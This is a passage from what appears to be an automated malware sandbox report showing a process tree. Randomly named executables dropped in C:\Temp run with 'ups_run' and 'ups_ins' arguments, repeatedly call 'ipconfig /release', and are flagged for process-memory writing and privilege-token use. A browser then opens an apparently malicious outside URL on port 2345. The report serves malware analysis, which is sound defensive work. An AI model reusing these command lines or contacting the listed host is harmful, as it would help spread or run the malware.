      PID:4832
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3064
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qkicavsnlf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1384
  - - C:\Temp\i_qkicavsnlf.exe
      C:\Temp\i_qkicavsnlf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2428
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\usmkicausq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5816
  - - C:\Temp\usmkicausq.exe
      C:\Temp\usmkicausq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2828
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2292
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1824
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_usmkicausq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2000
  - - C:\Temp\i_usmkicausq.exe
      C:\Temp\i_usmkicausq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\smkfcwupmh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5268
  - - C:\Temp\smkfcwupmh.exe
      C:\Temp\smkfcwupmh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1112
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1448
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3984
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_smkfcwupmh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4108
  - - C:\Temp\i_smkfcwupmh.exe
      C:\Temp\i_smkfcwupmh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\urpjhecwur.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4464
  - - C:\Temp\urpjhecwur.exe
      C:\Temp\urpjhecwur.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3548
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5084
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4320
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_urpjhecwur.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3352
  - - C:\Temp\i_urpjhecwur.exe
      C:\Temp\i_urpjhecwur.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4232
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wuomkecwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3944
  - - C:\Temp\wuomkecwuo.exe
      C:\Temp\wuomkecwuo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2160
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2180
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wuomkecwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5208
  - - C:\Temp\i_wuomkecwuo.exe
      C:\Temp\i_wuomkecwuo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6000
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mgeytrojhb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4952
  - - C:\Temp\mgeytrojhb.exe
      C:\Temp\mgeytrojhb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1044
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3392
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3580
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mgeytrojhb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4360
  - - C:\Temp\i_mgeytrojhb.exe
      C:\Temp\i_mgeytrojhb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3216
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtolgeywqo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4772
  - - C:\Temp\wtolgeywqo.exe
      C:\Temp\wtolgeywqo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3096
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4312
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:252
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtolgeywqo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3156
  - - C:\Temp\i_wtolgeywqo.exe
      C:\Temp\i_wtolgeywqo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1916
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtnlgdywqo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5056
  - - C:\Temp\vtnlgdywqo.exe
      C:\Temp\vtnlgdywqo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5544
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6136
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5032
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtnlgdywqo.exe ups_ins
    3⤵
    PID:3752
  - - C:\Temp\i_vtnlgdywqo.exe
      C:\Temp\i_vtnlgdywqo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1472
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fdxvqnifay.exe ups_run
    3⤵
    PID:5112
  - - C:\Temp\fdxvqnifay.exe
      C:\Temp\fdxvqnifay.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5840
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4180
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fdxvqnifay.exe ups_ins
    3⤵
    PID:1444
  - - C:\Temp\i_fdxvqnifay.exe
      C:\Temp\i_fdxvqnifay.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dxvpnifays.exe ups_run
    3⤵
    PID:4996
  - - C:\Temp\dxvpnifays.exe
      C:\Temp\dxvpnifays.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3364
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5596
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5892
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dxvpnifays.exe ups_ins
    3⤵
    PID:4408
  - - C:\Temp\i_dxvpnifays.exe
      C:\Temp\i_dxvpnifays.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfzxrpkhca.exe ups_run
    3⤵
    PID:2724
  - - C:\Temp\hfzxrpkhca.exe
      C:\Temp\hfzxrpkhca.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4488
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2120
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfzxrpkhca.exe ups_ins
    3⤵
    PID:3716
  - - C:\Temp\i_hfzxrpkhca.exe
      C:\Temp\i_hfzxrpkhca.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5744
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmhfzxrpjh.exe ups_run
    3⤵
    PID:5548
  - - C:\Temp\pmhfzxrpjh.exe
      C:\Temp\pmhfzxrpjh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1400
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1488
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5380
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmhfzxrpjh.exe ups_ins
    3⤵
    PID:4320
  - - C:\Temp\i_pmhfzxrpjh.exe
      C:\Temp\i_pmhfzxrpjh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4332
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfzxrpjhcz.exe ups_run
    3⤵
    PID:2152
  - - C:\Temp\hfzxrpjhcz.exe
      C:\Temp\hfzxrpjhcz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4548
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:932
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfzxrpjhcz.exe ups_ins
    3⤵
    PID:2452
  - - C:\Temp\i_hfzxrpjhcz.exe
      C:\Temp\i_hfzxrpjhcz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4808
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wrojgbztrl.exe ups_run
    3⤵
    PID:1136
  - - C:\Temp\wrojgbztrl.exe
      C:\Temp\wrojgbztrl.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4120
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3876
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4368
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wrojgbztrl.exe ups_ins
    3⤵
    PID:6000
  - - C:\Temp\i_wrojgbztrl.exe
      C:\Temp\i_wrojgbztrl.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3244
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\roigebwtro.exe ups_run
    3⤵
    PID:2508
  - - C:\Temp\roigebwtro.exe
      C:\Temp\roigebwtro.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2996
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4160
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4508
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_roigebwtro.exe ups_ins
    3⤵
    PID:4316
  - - C:\Temp\i_roigebwtro.exe
      C:\Temp\i_roigebwtro.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bytrljdbvt.exe ups_run
    3⤵
    PID:5180
  - - C:\Temp\bytrljdbvt.exe
      C:\Temp\bytrljdbvt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2444
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4228
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2984
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bytrljdbvt.exe ups_ins
    3⤵
    PID:4724
  - - C:\Temp\i_bytrljdbvt.exe
      C:\Temp\i_bytrljdbvt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4132
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ff9f242c188,0x7ff9f242c194,0x7ff9f242c1a0
      4⤵
      PID:3020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1928,i,17868998008374960935,3597534400300376912,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:11
      4⤵
      System Time Discovery
      PID:4100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1716,i,17802976407582634116,18049206798725351643,262144 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=2776 /prefetch:2
      4⤵
      PID:1236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2348,i,1202500932525379815,20196739845756084,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=3080 /prefetch:13
      4⤵
      PID:4468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3556,i,13196916236266371568,1808244361692776182,2097152 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
      4⤵
      PID:5352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,2462523172604768479,1889160302682108193,2097152 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
      4⤵
      PID:3740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4324,i,14222212853950240944,10709502028698601499,2097152 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:1
      4⤵
      PID:1908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4356,i,4378634005583183955,10167700166291862781,2097152 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:9
      4⤵
      PID:1776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5336,i,895355562537322681,12865425208068735915,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:14
      4⤵
      PID:4116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3828,i,16226612793261340699,1167634496171028752,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=3816 /prefetch:14
      4⤵
      PID:4724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3864,i,10852697742111039326,14677174981855733901,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:14
      4⤵
      PID:5640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,1911356332183726599,11721039856442800079,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14
      4⤵
      PID:2100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,1911356332183726599,11721039856442800079,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14
      4⤵
      PID:2528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6164,i,5893981789226490335,4719255883359972895,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:5316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6560,i,15905261798192527847,7386856316248366799,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=6540 /prefetch:14
      4⤵
      PID:4936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,12628606096914987279,7232605502105285552,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:14
      4⤵
      PID:4628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,17718926255311740512,14252731276180916214,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:14
      4⤵
      PID:1176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5296,i,9938766700903503418,5388254853033924906,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:14
      4⤵
      PID:4136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5664,i,6510174443769951892,2606643290122866764,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=4320 /prefetch:14
      4⤵
      PID:1976
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,11882546720404834648,5648634734152381633,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:14
      4⤵
      PID:3052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,1760009719351053639,190274633772539176,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:14
      4⤵
      PID:3244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3828,i,10904394400858592751,551005884308924333,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:14
      4⤵
      PID:4596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,8841632181220068201,4637997914483193992,524288 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=6724 /prefetch:14
      4⤵
      PID:2408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6728,i,8594321483416374990,6036149044954144545,262144 --field-trial-handle=2892,i,3885511282421483127,12652422236441037743,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:10
      4⤵
      PID:5556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
